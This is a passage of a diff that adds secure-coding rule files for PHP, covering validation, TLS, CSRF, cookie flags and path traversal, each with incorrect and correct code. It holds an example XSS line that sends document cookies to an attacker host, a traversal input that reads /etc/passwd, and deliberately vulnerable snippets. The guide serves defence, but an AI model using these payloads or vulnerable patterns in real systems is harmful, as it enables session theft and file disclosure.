  341. package/skill-assets/sunlint-code-quality/rules/python/S039-tls-certificate-validation.md +16 -0
  342. package/skill-assets/sunlint-code-quality/rules/python/S041-logout-invalidation.md +16 -0
  343. package/skill-assets/sunlint-code-quality/rules/python/S042-long-lived-sessions.md +16 -0
  344. package/skill-assets/sunlint-code-quality/rules/python/S044-critical-changes-reauth.md +16 -0
  345. package/skill-assets/sunlint-code-quality/rules/python/S045-brute-force-protection.md +16 -0
  346. package/skill-assets/sunlint-code-quality/rules/python/S047-oauth-csrf-protection.md +16 -0
  347. package/skill-assets/sunlint-code-quality/rules/python/S048-oauth-redirect-validation.md +16 -0
  348. package/skill-assets/sunlint-code-quality/rules/python/S049-auth-code-expiry.md +16 -0
  349. package/skill-assets/sunlint-code-quality/rules/python/S050-token-entropy.md +16 -0
  350. package/skill-assets/sunlint-code-quality/rules/python/S051-password-length.md +16 -0
  351. package/skill-assets/sunlint-code-quality/rules/python/S052-otp-entropy.md +16 -0
  352. package/skill-assets/sunlint-code-quality/rules/python/S053-generic-error-messages.md +16 -0
  353. package/skill-assets/sunlint-code-quality/rules/python/S054-no-default-admin.md +16 -0
  354. package/skill-assets/sunlint-code-quality/rules/python/S055-content-type-validation.md +16 -0
  355. package/skill-assets/sunlint-code-quality/rules/python/S056-log-injection.md +16 -0
  356. package/skill-assets/sunlint-code-quality/rules/python/S057-synchronized-time.md +16 -0
  357. package/skill-assets/sunlint-code-quality/rules/python/S058-ssrf-protection.md +57 -0
  358. package/skill-assets/sunlint-code-quality/rules/typescript/C006-verb-noun-functions.md +45 -0
  359. package/skill-assets/sunlint-code-quality/rules/typescript/C013-no-dead-code.md +51 -0
  360. package/skill-assets/sunlint-code-quality/rules/typescript/C014-dependency-injection.md +69 -0
  361. package/skill-assets/sunlint-code-quality/rules/typescript/C017-no-constructor-logic.md +60 -0
  362. package/skill-assets/sunlint-code-quality/rules/typescript/C018-generic-errors.md +47 -0
  363. package/skill-assets/sunlint-code-quality/rules/typescript/C019-error-log-level.md +50 -0
  364. package/skill-assets/sunlint-code-quality/rules/typescript/C020-no-unused-imports.md +55 -0
  365. package/skill-assets/sunlint-code-quality/rules/typescript/C022-no-unused-variables.md +59 -0
  366. package/skill-assets/sunlint-code-quality/rules/typescript/C023-no-duplicate-names.md +58 -0
  367. package/skill-assets/sunlint-code-quality/rules/typescript/C024-centralize-constants.md +56 -0
  368. package/skill-assets/sunlint-code-quality/rules/typescript/C029-catch-log-root-cause.md +53 -0
  369. package/skill-assets/sunlint-code-quality/rules/typescript/C030-custom-error-classes.md +60 -0
  370. package/skill-assets/sunlint-code-quality/rules/typescript/C033-separate-data-access.md +69 -0
  371. package/skill-assets/sunlint-code-quality/rules/typescript/C035-error-context-logging.md +50 -0
  372. package/skill-assets/sunlint-code-quality/rules/typescript/C041-no-hardcoded-secrets.md +47 -0
  373. package/skill-assets/sunlint-code-quality/rules/typescript/C042-boolean-naming.md +42 -0
  374. package/skill-assets/sunlint-code-quality/rules/typescript/C052-controller-parsing.md +64 -0
  375. package/skill-assets/sunlint-code-quality/rules/typescript/C060-superclass-logic.md +67 -0
  376. package/skill-assets/sunlint-code-quality/rules/typescript/C067-no-hardcoded-config.md +52 -0
  377. package/skill-assets/sunlint-code-quality/rules/typescript/S003-open-redirect.md +76 -0
  378. package/skill-assets/sunlint-code-quality/rules/typescript/S004-no-log-credentials.md +71 -0
  379. package/skill-assets/sunlint-code-quality/rules/typescript/S005-server-authorization.md +68 -0
  380. package/skill-assets/sunlint-code-quality/rules/typescript/S006-default-credentials.md +69 -0
  381. package/skill-assets/sunlint-code-quality/rules/typescript/S007-output-encoding.md +60 -0
  382. package/skill-assets/sunlint-code-quality/rules/typescript/S009-approved-crypto.md +53 -0
  383. package/skill-assets/sunlint-code-quality/rules/typescript/S010-csprng.md +53 -0
  384. package/skill-assets/sunlint-code-quality/rules/typescript/S011-encrypted-client-hello.md +45 -0
  385. package/skill-assets/sunlint-code-quality/rules/typescript/S012-secrets-management.md +47 -0
  386. package/skill-assets/sunlint-code-quality/rules/typescript/S013-tls-connections.md +70 -0
  387. package/skill-assets/sunlint-code-quality/rules/typescript/S016-no-sensitive-query-string.md +53 -0
  388. package/skill-assets/sunlint-code-quality/rules/typescript/S017-parameterized-queries.md +55 -0
  389. package/skill-assets/sunlint-code-quality/rules/typescript/S019-email-input-sanitization.md +56 -0
  390. package/skill-assets/sunlint-code-quality/rules/typescript/S020-eval-code-execution.md +58 -0
  391. package/skill-assets/sunlint-code-quality/rules/typescript/S022-context-escaping.md +48 -0
  392. package/skill-assets/sunlint-code-quality/rules/typescript/S023-dynamic-js-encoding.md +52 -0
  393. package/skill-assets/sunlint-code-quality/rules/typescript/S025-server-validation.md +62 -0
  394. package/skill-assets/sunlint-code-quality/rules/typescript/S026-tls-encryption.md +47 -0
  395. package/skill-assets/sunlint-code-quality/rules/typescript/S027-mtls-validation.md +50 -0
  396. package/skill-assets/sunlint-code-quality/rules/typescript/S028-upload-limits.md +65 -0
  397. package/skill-assets/sunlint-code-quality/rules/typescript/S029-csrf-protection.md +62 -0
  398. package/skill-assets/sunlint-code-quality/rules/typescript/S030-directory-browsing.md +52 -0
  399. package/skill-assets/sunlint-code-quality/rules/typescript/S031-secure-cookie-flag.md +48 -0
  400. package/skill-assets/sunlint-code-quality/rules/typescript/S032-httponly-cookie.md +36 -0
  401. package/skill-assets/sunlint-code-quality/rules/typescript/S033-samesite-cookie.md +46 -0
  402. package/skill-assets/sunlint-code-quality/rules/typescript/S034-host-prefix-cookie.md +50 -0
  403. package/skill-assets/sunlint-code-quality/rules/typescript/S035-app-hostnames.md +49 -0
  404. package/skill-assets/sunlint-code-quality/rules/typescript/S036-internal-file-paths.md +53 -0
  405. package/skill-assets/sunlint-code-quality/rules/typescript/S037-anti-cache-headers.md +52 -0
  406. package/skill-assets/sunlint-code-quality/rules/typescript/S039-tls-certificate-validation.md +51 -0
  407. package/skill-assets/sunlint-code-quality/rules/typescript/S041-logout-invalidation.md +58 -0
  408. package/skill-assets/sunlint-code-quality/rules/typescript/S042-long-lived-sessions.md +55 -0
  409. package/skill-assets/sunlint-code-quality/rules/typescript/S044-critical-changes-reauth.md +69 -0
  410. package/skill-assets/sunlint-code-quality/rules/typescript/S045-brute-force-protection.md +59 -0
  411. package/skill-assets/sunlint-code-quality/rules/typescript/S047-oauth-csrf-protection.md +60 -0
  412. package/skill-assets/sunlint-code-quality/rules/typescript/S048-oauth-redirect-validation.md +59 -0
  413. package/skill-assets/sunlint-code-quality/rules/typescript/S049-auth-code-expiry.md +73 -0
  414. package/skill-assets/sunlint-code-quality/rules/typescript/S050-token-entropy.md +48 -0
  415. package/skill-assets/sunlint-code-quality/rules/typescript/S051-password-length.md +60 -0
  416. package/skill-assets/sunlint-code-quality/rules/typescript/S052-otp-entropy.md +49 -0
  417. package/skill-assets/sunlint-code-quality/rules/typescript/S053-generic-error-messages.md +61 -0
  418. package/skill-assets/sunlint-code-quality/rules/typescript/S054-no-default-admin.md +64 -0
  419. package/skill-assets/sunlint-code-quality/rules/typescript/S055-content-type-validation.md +64 -0
  420. package/skill-assets/sunlint-code-quality/rules/typescript/S056-log-injection.md +48 -0
  421. package/skill-assets/sunlint-code-quality/rules/typescript/S057-synchronized-time.md +57 -0
  422. package/skill-assets/sunlint-code-quality/rules/typescript/S058-ssrf-protection.md +63 -0
@@ -0,0 +1,63 @@
1
+ ---
2
+ title: Always Validate Client Data Server-side
3
+ impact: MEDIUM
4
+ impactDescription: ensures input validation cannot be bypassed
5
+ tags: validation, server-side, input, sanitization, security, php
6
+ ---
7
+
8
+ ## Always Validate Client Data Server-side
9
+
10
+ Client-side validation is for UX only - it can be bypassed easily using tools like Burp Suite or even just the browser console. All input must be validated server-side to ensure the integrity and security of the application.
11
+
12
+ **Incorrect (trusting client validation):**
13
+
14
+ ```php
15
+ // No server validation - trusting frontend
16
+ $amount = $_POST['amount'];
17
+ $toAccount = $_POST['to_account'];
18
+
19
+ // Attacker could pass negative amount or non-existent account
20
+ transfer_money($currentUserId, $toAccount, $amount);
21
+ echo json_encode(['success' => true]);
22
+ ```
23
+
24
+ **Correct (comprehensive server validation):**
25
+
26
+ ```php
27
+ // Standard PHP validation
28
+ $amount = filter_var($_POST['amount'] ?? null, FILTER_VALIDATE_FLOAT);
29
+ if ($amount === false || $amount <= 0 || $amount > 10000) {
30
+ http_response_code(400);
31
+ die(json_encode(['error' => 'Invalid amount']));
32
+ }
33
+
34
+ $toAccount = $_POST['to_account'] ?? '';
35
+ if (!preg_match('/^[A-Z]{2}\d{18}$/', $toAccount)) {
36
+ http_response_code(400);
37
+ die(json_encode(['error' => 'Invalid account format']));
38
+ }
39
+
40
+ // Laravel Validation (Recommended)
41
+ $validated = $request->validate([
42
+ 'amount' => 'required|numeric|min:0.01|max:10000',
43
+ 'to_account' => 'required|string|regex:/^[A-Z]{2}\d{18}$/'
44
+ ]);
45
+
46
+ // Symfony Validation
47
+ $constraints = new Assert\Collection([
48
+ 'amount' => [new Assert\NotBlank(), new Assert\Range(['min' => 0.01, 'max' => 10000])],
49
+ 'to_account' => [new Assert\NotBlank(), new Assert\Regex('/^[A-Z]{2}\d{18}$/')],
50
+ ]);
51
+ $violations = $validator->validate($input, $constraints);
52
+ ```
53
+
54
+ **Validation types:**
55
+
56
+ | Type | What to Check |
57
+ |------|---------------|
58
+ | Format | Email (`FILTER_VALIDATE_EMAIL`), phone, UUID, dates |
59
+ | Range | Min/max values, string length |
60
+ | Business | Account exists, permissions, sufficient balance |
61
+ | Sanitization | `filter_var` with `FILTER_SANITIZE_STRING`, etc. |
62
+
63
+ **Tools:** Respect/Validation, Laravel Validator, Symfony Validator, SonarQube
@@ -0,0 +1,48 @@
1
+ ---
2
+ title: TLS Encryption For All Connections
3
+ impact: CRITICAL
4
+ impactDescription: protects data in transit and ensures server identity verification
5
+ tags: tls, encryption, https, transport, security, php
6
+ ---
7
+
8
+ ## TLS Encryption For All Connections
9
+
10
+ To maintain data confidentiality and integrity, all network traffic—including communication between your application and users, and between your application and internal services (databases, caches)—must be encrypted using TLS.
11
+
12
+ **Incorrect (unencrypted connections):**
13
+
14
+ ```php
15
+ // Plain HTTP
16
+ file_get_contents("http://internal-service/api");
17
+
18
+ // Database without TLS/SSL flags
19
+ $dsn = "mysql:host=db.production;dbname=secret";
20
+ $pdo = new PDO($dsn, "user", "pass");
21
+ ```
22
+
23
+ **Correct (enforced TLS):**
24
+
25
+ ```php
26
+ // 1. Mandatory HTTPS for all service calls
27
+ $response = $httpClient->get("https://internal-service/api");
28
+
29
+ // 2. Enforced TLS for Database
30
+ $pdo = new PDO($dsn, "user", "pass", [
31
+ PDO::MYSQL_ATTR_SSL_CA => '/etc/ssl/certs/ca-certificates.crt',
32
+ PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT => true
33
+ ]);
34
+
35
+ // 3. Ensuring the PHP application knows it is behind HTTPS (for link generation)
36
+ // In Laravel (AppServiceProvider.php)
37
+ if (App::environment('production')) {
38
+ URL::forceScheme('https');
39
+ }
40
+ ```
41
+
42
+ **Global Compliance Requirements:**
43
+ - **Redirects**: All `http://` requests must return a `301` redirect to `https://`.
44
+ - **HSTS**: Broadly implement `Strict-Transport-Security` headers (min-age 1 year).
45
+ - **Modern TLS**: Use TLS 1.2 or 1.3 only; disable SSLv3, TLS 1.0, and TLS 1.1.
46
+ - **Verification**: Always verify server certificates (`verify_peer => true`). Never disable verification to "make it work" in dev environments.
47
+
48
+ **Tools:** `SSLyze`, `nmap` (with ssl-enum-ciphers), `Qualys SSL Labs`, `SecurityHeaders.com`
@@ -0,0 +1,62 @@
1
+ ---
2
+ title: Validate mTLS Certificates Before Auth
3
+ impact: CRITICAL
4
+ impactDescription: ensures mutual identity verification between communicating services
5
+ tags: mtls, certificates, authentication, zero-trust, security, php
6
+ ---
7
+
8
+ ## Validate mTLS Certificates Before Auth
9
+
10
+ Mutual TLS (mTLS) provides strong authentication by requiring both the client and the server to present certificates. In PHP environments, the web server (Nginx/Apache) typically handles the handshake and passes certificate details to the application through server variables.
11
+
12
+ **Incorrect (implicitly trusting or skipping validation):**
13
+
14
+ ```php
15
+ // VULNERABLE: Assuming any request reaching the script is authorized
16
+ function processInternalRequest() {
17
+ // No check if the client certificate was actually validated by the web server
18
+ $data = doTask();
19
+ }
20
+ ```
21
+
22
+ **Correct (validating certificate variables in PHP):**
23
+
24
+ ```php
25
+ // 1. Nginx Configuration required:
26
+ // ssl_verify_client on;
27
+ // fastcgi_param SSL_CLIENT_S_DN $ssl_client_s_dn;
28
+ // fastcgi_param SSL_CLIENT_VERIFY $ssl_client_verify;
29
+
30
+ // 2. PHP validation logic
31
+ function validateClientCert() {
32
+ // Ensure the web server actually verified the certificate
33
+ if (($_SERVER['SSL_CLIENT_VERIFY'] ?? '') !== 'SUCCESS') {
34
+ header('HTTP/1.1 403 Forbidden');
35
+ die("Mutual TLS authentication failed.");
36
+ }
37
+
38
+ // Validate the Distinguished Name (DN) or Common Name (CN)
39
+ $clientDn = $_SERVER['SSL_CLIENT_S_DN'] ?? '';
40
+ $allowedServices = ['CN=payment-service', 'CN=auth-service'];
41
+
42
+ $isAuthorized = false;
43
+ foreach ($allowedServices as $service) {
44
+ if (strpos($clientDn, $service) !== false) {
45
+ $isAuthorized = true;
46
+ break;
47
+ }
48
+ }
49
+
50
+ if (!$isAuthorized) {
51
+ header('HTTP/1.1 403 Forbidden');
52
+ die("Service certificate not authorized.");
53
+ }
54
+ }
55
+ ```
56
+
57
+ **Key Implementation steps:**
58
+ 1. **Web Server**: Configure your reverse proxy (Nginx, Apache) to request client certificates and verify them against an internal Root CA.
59
+ 2. **Environment**: Pass the verification status and client DN to PHP.
60
+ 3. **Application**: Explicitly check `SSL_CLIENT_VERIFY` and optionally validate the specific identity (CN) of the calling service.
61
+
62
+ **Tools:** OpenSSL, Nginx `ssl_client_certificate`, HashiCorp Vault (for CA management), Istio/Linkerd
@@ -0,0 +1,60 @@
1
+ ---
2
+ title: Limit Upload File Size And Count
3
+ impact: MEDIUM
4
+ impactDescription: prevents Denial of Service (DoS) attacks by resource exhaustion
5
+ tags: upload, file-size, dos, limits, security, php
6
+ ---
7
+
8
+ ## Limit Upload File Size And Count
9
+
10
+ Allowing unlimited file uploads can quickly exhaust server disk space, memory, and bandwidth, leading to a Denial of Service (DoS). It is critical to enforce strict limits on the number of files, their size, and their types.
11
+
12
+ **Incorrect (trusting default or no limits):**
13
+
14
+ ```php
15
+ // Standard PHP - No manual size checking
16
+ $file = $_FILES['avatar'];
17
+ move_uploaded_file($file['tmp_name'], 'uploads/' . $file['name']);
18
+
19
+ // VULNERABLE: No validation of count or type
20
+ foreach ($_FILES['documents'] as $file) {
21
+ // Process all files without limit
22
+ }
23
+ ```
24
+
25
+ **Correct (explicit limits in PHP and Application):**
26
+
27
+ ```php
28
+ /**
29
+ * 1. Configure PHP settings (php.ini or .user.ini)
30
+ * upload_max_filesize = 5M
31
+ * post_max_size = 8M
32
+ * max_file_uploads = 5
33
+ */
34
+
35
+ // 2. Manual check in plain PHP
36
+ $maxSize = 5 * 1024 * 1024; // 5MB
37
+ if ($_FILES['avatar']['size'] > $maxSize) {
38
+ die("File exceeds size limit");
39
+ }
40
+
41
+ // 3. Using Laravel Validation (Recommended)
42
+ $request->validate([
43
+ 'avatar' => 'required|file|image|max:5120', // size in kilobytes
44
+ 'documents' => 'required|array|max:5', // max 5 files
45
+ 'documents.*' => 'file|mimes:pdf,docx|max:10240' // max 10MB per file
46
+ ]);
47
+ ```
48
+
49
+ **Recommended limits:**
50
+ - **Images**: 2MB - 10MB
51
+ - **Documents**: 5MB - 20MB
52
+ - **Max Items**: 5-10 files per request.
53
+ - **Whitelist**: Always use `mimes` or `mimetypes` validation to only allow expected extensions (e.g., `jpg, png, pdf`).
54
+
55
+ **Why these limits matter?**
56
+ - Prevents disk-filling attacks.
57
+ - Reduces memory usage during image processing or virus scanning.
58
+ - Minimizes the attack surface for file-based exploits.
59
+
60
+ **Tools:** PHP Internal Config, Laravel Validator, Symfony Validator, Nginx `client_max_body_size`
@@ -0,0 +1,65 @@
1
+ ---
2
+ title: Apply CSRF Protection
3
+ impact: HIGH
4
+ impactDescription: prevents cross-site request forgery attacks
5
+ tags: csrf, tokens, forms, security, php
6
+ ---
7
+
8
+ ## Apply CSRF Protection
9
+
10
+ CSRF attacks force authenticated users to perform unintended actions (like changing passwords or transferring funds) without their knowledge. All state-changing requests (POST, PUT, DELETE, PATCH) must be protected.
11
+
12
+ **Incorrect (no CSRF protection):**
13
+
14
+ ```html
15
+ <!-- No CSRF token - vulnerable to one-click attacks -->
16
+ <form action="/transfer.php" method="POST">
17
+ <input name="amount" value="1000">
18
+ <input name="to" value="attacker_account">
19
+ <button>Transfer</button>
20
+ </form>
21
+ ```
22
+
23
+ **Correct (CSRF protection):**
24
+
25
+ ```php
26
+ // Standard PHP implementation
27
+ session_start();
28
+ if (empty($_SESSION['csrf_token'])) {
29
+ $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
30
+ }
31
+
32
+ // On the processing side:
33
+ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
34
+ if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
35
+ die("CSRF token validation failed");
36
+ }
37
+ // Process request
38
+ }
39
+ ?>
40
+
41
+ <!-- In the form -->
42
+ <form action="/transfer.php" method="POST">
43
+ <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
44
+ <input name="amount">
45
+ <button>Transfer</button>
46
+ </form>
47
+
48
+ <?php
49
+ // Using Laravel (Recommended)
50
+ // CSRF protection is enabled by default for all POST requests.
51
+ ?>
52
+ <form method="POST" action="/transfer">
53
+ @csrf
54
+ <input name="amount">
55
+ <button type="submit">Transfer</button>
56
+ </form>
57
+ ```
58
+
59
+ **Protection strategies:**
60
+ 1. Use CSRF tokens for all state-changing requests.
61
+ 2. Set `SameSite=Lax` or `SameSite=Strict` on session cookies.
62
+ 3. Use custom headers (e.g., `X-Requested-With`) for AJAX requests.
63
+ 4. For APIs, use Bearer tokens (JWT/OAuth2) which are not automatically sent by browsers.
64
+
65
+ **Tools:** Laravel Middleware, Symfony Form CSRF, PHPStan, SonarQube
@@ -0,0 +1,40 @@
1
+ ---
2
+ title: Disable Directory Browsing
3
+ impact: MEDIUM
4
+ impactDescription: prevents file enumeration and exposure of sensitive file structures
5
+ tags: directory, listing, file-exposure, security, php
6
+ ---
7
+
8
+ ## Disable Directory Browsing
9
+
10
+ Directory browsing (or directory listing) allows users to see all files inside a folder if no index file (like `index.php` or `index.html`) is present. This can expose sensitive files, source code backups, or temporary files to attackers.
11
+
12
+ **Incorrect (directory listing enabled):**
13
+
14
+ ```apache
15
+ # Apache default behavior often allows listing
16
+ # Requests to /uploads/ show all files
17
+ ```
18
+
19
+ **Correct (directory listing disabled):**
20
+
21
+ ```apache
22
+ # 1. Apache (.htaccess)
23
+ Options -Indexes
24
+
25
+ # 2. Nginx
26
+ location / {
27
+ autoindex off;
28
+ }
29
+
30
+ # 3. Application level (Common PHP trick)
31
+ # Place an empty index.php in sensitive folders like /uploads or /storage
32
+ <?php // Silence is golden
33
+ ```
34
+
35
+ **Best Practices for PHP Applications:**
36
+ - **Public Directory**: Only the `public` folder of your application should be accessible via the web server. All other code (`app`, `vendor`, `.env`) should be outside the web root.
37
+ - **Index File**: Ensure every publicly accessible directory has an `index.php` or `index.html` file to prevent listing if server configuration fails.
38
+ - **.htaccess**: Include `Options -Indexes` in your root `.htaccess` file if using Apache.
39
+
40
+ **Tools:** Web Server Configuration (Nginx/Apache), OWASP ZAP (to detect enabled directory listing), Manual Browser Testing
@@ -0,0 +1,55 @@
1
+ ---
2
+ title: Set Secure Flag On Session Cookies
3
+ impact: HIGH
4
+ impactDescription: prevents session cookies from being transmitted over unencrypted HTTP connections
5
+ tags: cookies, secure, https, session, security, php
6
+ ---
7
+
8
+ ## Set Secure Flag On Session Cookies
9
+
10
+ The `Secure` attribute ensures that cookies are only transmitted over encrypted (HTTPS) connections. Without this flag, a session cookie could be sent over a plain HTTP connection (e.g., if a user manually changes the URL to `http://`), exposing it to network eavesdroppers.
11
+
12
+ **Incorrect (no Secure flag):**
13
+
14
+ ```php
15
+ // Insecure: cookie will be sent over HTTP
16
+ setcookie("session_id", $token);
17
+
18
+ // In php.ini or startup
19
+ // session.cookie_secure = 0
20
+ ```
21
+
22
+ **Correct (Secure flag set):**
23
+
24
+ ```php
25
+ // 1. Using setcookie (PHP 7.3+)
26
+ setcookie("session_id", $token, [
27
+ 'expires' => time() + 3600,
28
+ 'path' => '/',
29
+ 'domain' => 'example.com',
30
+ 'secure' => true, // Enforces HTTPS
31
+ 'httponly' => true,
32
+ 'samesite' => 'Strict',
33
+ ]);
34
+
35
+ // 2. Setting it for the entire session (at the start of script)
36
+ session_set_cookie_params([
37
+ 'lifetime' => 0,
38
+ 'path' => '/',
39
+ 'domain' => '',
40
+ 'secure' => true,
41
+ 'httponly' => true,
42
+ 'samesite' => 'Lax'
43
+ ]);
44
+ session_start();
45
+
46
+ // 3. In Laravel (config/session.php)
47
+ 'secure' => env('SESSION_SECURE_COOKIE', true),
48
+ ```
49
+
50
+ **Best Practices:**
51
+ - Always set `secure => true` in production environments.
52
+ - Use HSTS (`Strict-Transport-Security`) headers to force the browser to use HTTPS for all future requests.
53
+ - If your application is served via a load balancer, ensure the `X-Forwarded-Proto` header is respected so PHP correctly identifies the HTTPS connection.
54
+
55
+ **Tools:** PHP Internal configuration, OWASP ZAP, Burp Suite, SonarQube
@@ -0,0 +1,54 @@
1
+ ---
2
+ title: Set HttpOnly On Session Cookies
3
+ impact: MEDIUM
4
+ impactDescription: prevents session cookies from being accessed by client-side JavaScript, mitigating XSS impacts
5
+ tags: cookies, httponly, xss, session, security, php
6
+ ---
7
+
8
+ ## Set HttpOnly On Session Cookies
9
+
10
+ The `HttpOnly` flag prevents client-side scripts (like JavaScript) from accessing the cookie. This is a critical defense-in-depth measure against Cross-Site Scripting (XSS) attacks. If an attacker succeeds in executing JavaScript on your page, they still won't be able to steal the session cookie and hijack the session.
11
+
12
+ **Incorrect (no HttpOnly flag):**
13
+
14
+ ```php
15
+ // Insecure: cookie is readable via document.cookie in JavaScript
16
+ setcookie("session_id", $token);
17
+
18
+ // In php.ini or startup
19
+ // session.cookie_httponly = 0
20
+ ```
21
+
22
+ **Correct (HttpOnly flag set):**
23
+
24
+ ```php
25
+ // 1. Using setcookie (PHP 7.3+)
26
+ setcookie("session_id", $token, [
27
+ 'httponly' => true, // JavaScript cannot access this cookie
28
+ 'secure' => true,
29
+ 'samesite' => 'Strict',
30
+ 'path' => '/',
31
+ ]);
32
+
33
+ // 2. Global session configuration
34
+ session_set_cookie_params([
35
+ 'httponly' => true,
36
+ 'secure' => true,
37
+ 'samesite' => 'Lax'
38
+ ]);
39
+ session_start();
40
+
41
+ // 3. In Laravel (config/session.php)
42
+ 'http_only' => true,
43
+ ```
44
+
45
+ **XSS Attack Example (Prevented by HttpOnly):**
46
+ ```javascript
47
+ // Attacker's payload if HttpOnly is MISSING:
48
+ fetch('https://attacker.com/steal?cookies=' + document.cookie);
49
+
50
+ // If HttpOnly is ENABLED:
51
+ // document.cookie will NOT contain the session_id
52
+ ```
53
+
54
+ **Tools:** PHP Internal Config, OWASP ZAP, Browser Developer Tools (Check 'HttpOnly' column in Application/Cookies tab)
@@ -0,0 +1,52 @@
1
+ ---
2
+ title: Set SameSite On Session Cookies
3
+ impact: MEDIUM
4
+ impactDescription: provides fundamental protection against CSRF (Cross-Site Request Forgery) attacks
5
+ tags: cookies, samesite, csrf, session, security, php
6
+ ---
7
+
8
+ ## Set SameSite On Session Cookies
9
+
10
+ The `SameSite` attribute tells the browser whether or not to send cookies with cross-site requests. Setting this to `Lax` or `Strict` provides a strong baseline defense against Cross-Site Request Forgery (CSRF) by ensuring that session cookies are only sent when the request originates from your own site.
11
+
12
+ **Incorrect (no SameSite attribute):**
13
+
14
+ ```php
15
+ // Insecure: defaults to browser behavior (which used to be 'None')
16
+ setcookie("session_id", $token);
17
+ ```
18
+
19
+ **Correct (SameSite set):**
20
+
21
+ ```php
22
+ // 1. Using setcookie (PHP 7.3+)
23
+ setcookie("session_id", $token, [
24
+ 'samesite' => 'Strict', // Or 'Lax'
25
+ 'httponly' => true,
26
+ 'secure' => true,
27
+ 'path' => '/',
28
+ ]);
29
+
30
+ // 2. Global session configuration
31
+ session_set_cookie_params([
32
+ 'samesite' => 'Lax', // Most compatible for general sites
33
+ 'httponly' => true,
34
+ 'secure' => true
35
+ ]);
36
+ session_start();
37
+
38
+ // 3. In Laravel (config/session.php)
39
+ 'same_site' => 'lax',
40
+ ```
41
+
42
+ **SameSite Options:**
43
+
44
+ | Value | Behavior | CSRF Protection |
45
+ |-------|----------|-----------------|
46
+ | **Strict** | Cookie is never sent on cross-site requests. | **High** |
47
+ | **Lax** | Sent on top-level GET navigations (e.g. clicking a link). | **Medium** |
48
+ | **None** | Always sent (requires `Secure` flag). | **None** |
49
+
50
+ **Recommended:** Use `Strict` for sensitive banking/internal sites. Use `Lax` for general user-facing applications to ensure users remain logged in when arriving from external links.
51
+
52
+ **Tools:** OWASP ZAP, Browser DevTools, PHP Internal configuration
@@ -0,0 +1,49 @@
1
+ ---
2
+ title: Use __Host- Prefix For Cookies
3
+ impact: MEDIUM
4
+ impactDescription: ensures cookie is domain-locked and secure from subdomain hijacking
5
+ tags: cookies, prefix, domain, security, php
6
+ ---
7
+
8
+ ## Use __Host- Prefix For Cookies
9
+
10
+ The `__Host-` prefix is a special cookie naming convention enforced by modern browsers. It provides strong guarantees that the cookie is only sent to the exact host that set it, preventing session hijacking or fixation attacks initiated from subdomains.
11
+
12
+ **Incorrect (standard cookie name):**
13
+
14
+ ```php
15
+ // Name doesn't provide browser-level enforcement of security constraints
16
+ setcookie("session_id", $token, ['secure' => true, 'path' => '/']);
17
+ ```
18
+
19
+ **Correct (__Host- prefix):**
20
+
21
+ ```php
22
+ // 1. Using setcookie (PHP 7.3+)
23
+ setcookie("__Host-session", $token, [
24
+ 'secure' => true, // REQUIRED for __Host-
25
+ 'path' => '/', // REQUIRED for __Host-
26
+ 'httponly' => true,
27
+ 'samesite' => 'Strict',
28
+ // 'domain' => '...', // MUST NOT BE SET for __Host-
29
+ ]);
30
+
31
+ // 2. In Laravel (config/session.php)
32
+ 'cookie' => '__Host-session',
33
+ 'path' => '/',
34
+ 'secure' => true,
35
+ ```
36
+
37
+ **__Host- Prefix Requirements (Browser Enforced):**
38
+ 1. **Must** have the `Secure` flag.
39
+ 2. **Must** have a `Path` of `/`.
40
+ 3. **Must NOT** have a `Domain` attribute (this locks it to the exact host).
41
+
42
+ **Alternative: __Secure- Prefix**
43
+ If you need to share the cookie across subdomains, use the `__Secure-` prefix. It only requires the `Secure` flag but still communicates that the cookie is sensitive.
44
+
45
+ ```php
46
+ setcookie("__Secure-id", $token, ['secure' => true, 'domain' => '.example.com']);
47
+ ```
48
+
49
+ **Tools:** Web Browser Cookie Audit, SonarQube, Manual Security Review
@@ -0,0 +1,49 @@
1
+ ---
2
+ title: Host Apps On Different Hostnames
3
+ impact: MEDIUM
4
+ impactDescription: provides cookie and origin isolation between different environments and apps
5
+ tags: hostname, isolation, same-origin, security, php
6
+ ---
7
+
8
+ ## Host Apps On Different Hostnames
9
+
10
+ When multiple applications or environments (e.g., Admin and User faces) share the same hostname, they also share cookies, `localStorage`, and `sessionStorage`. This "Same-Origin" behavior allows a vulnerability in one part of the site to affect all others on that same host.
11
+
12
+ **Incorrect (shared hostname):**
13
+
14
+ ```text
15
+ https://company.com/blog # Public blog
16
+ https://company.com/portal # Sensitive user portal
17
+ https://company.com/admin # Admin panel
18
+ # All share the Same Origin!
19
+ ```
20
+
21
+ **Correct (isolated hostnames):**
22
+
23
+ ```text
24
+ https://blog.company.com # Public blog
25
+ https://portal.company.com # Sensitive user portal
26
+ https://admin.company.com # Admin panel
27
+ # Each has isolated storage and cookies
28
+ ```
29
+
30
+ **Benefits of Isolation:**
31
+ - **Cookie Security**: A session token for `portal.company.com` won't be sent automatically to `blog.company.com`.
32
+ - **Origin Isolation**: Scripts on the blog cannot access the DOM or storage of the portal via the "Same-Origin Policy".
33
+ - **CORS Control**: You can explicitly define which subdomains are allowed to communicate via CORS.
34
+
35
+ **PHP/Laravel Implementation (CORS):**
36
+
37
+ ```php
38
+ // config/cors.php
39
+ 'allowed_origins' => [
40
+ 'https://portal.company.com',
41
+ 'https://admin.company.com',
42
+ ],
43
+ 'supports_credentials' => true,
44
+ ```
45
+
46
+ **Why it matters?**
47
+ If an attacker finds an XSS vulnerability on your blog (`company.com/blog`), they could steal the session cookie used for your portal (`company.com/portal`) because they share the same origin. Hosting them on separate subdomains prevents this trivial bypass.
48
+
49
+ **Tools:** Infrastructure planning, Nginx/Apache Virtual Hosts, Security Headers
@@ -0,0 +1,56 @@
1
+ ---
2
+ title: Use Internal Data For File Paths
3
+ impact: CRITICAL
4
+ impactDescription: prevents Path Traversal and Local File Inclusion (LFI) attacks
5
+ tags: file-path, path-traversal, lfi, input-validation, security, php
6
+ ---
7
+
8
+ ## Use Internal Data For File Paths
9
+
10
+ Never construct file paths using raw user input. Simple strings like `../../etc/passwd` can be used by attackers to read sensitive configuration files or execute code on your server.
11
+
12
+ **Incorrect (user-controlled paths):**
13
+
14
+ ```php
15
+ // Path traversal vulnerability
16
+ $page = $_GET['page'];
17
+ include("pages/" . $page . ".php");
18
+ // Attacker: ?page=../../../../etc/passwd
19
+
20
+ // File download vulnerability
21
+ $file = $_GET['file'];
22
+ readfile("/var/www/uploads/" . $file);
23
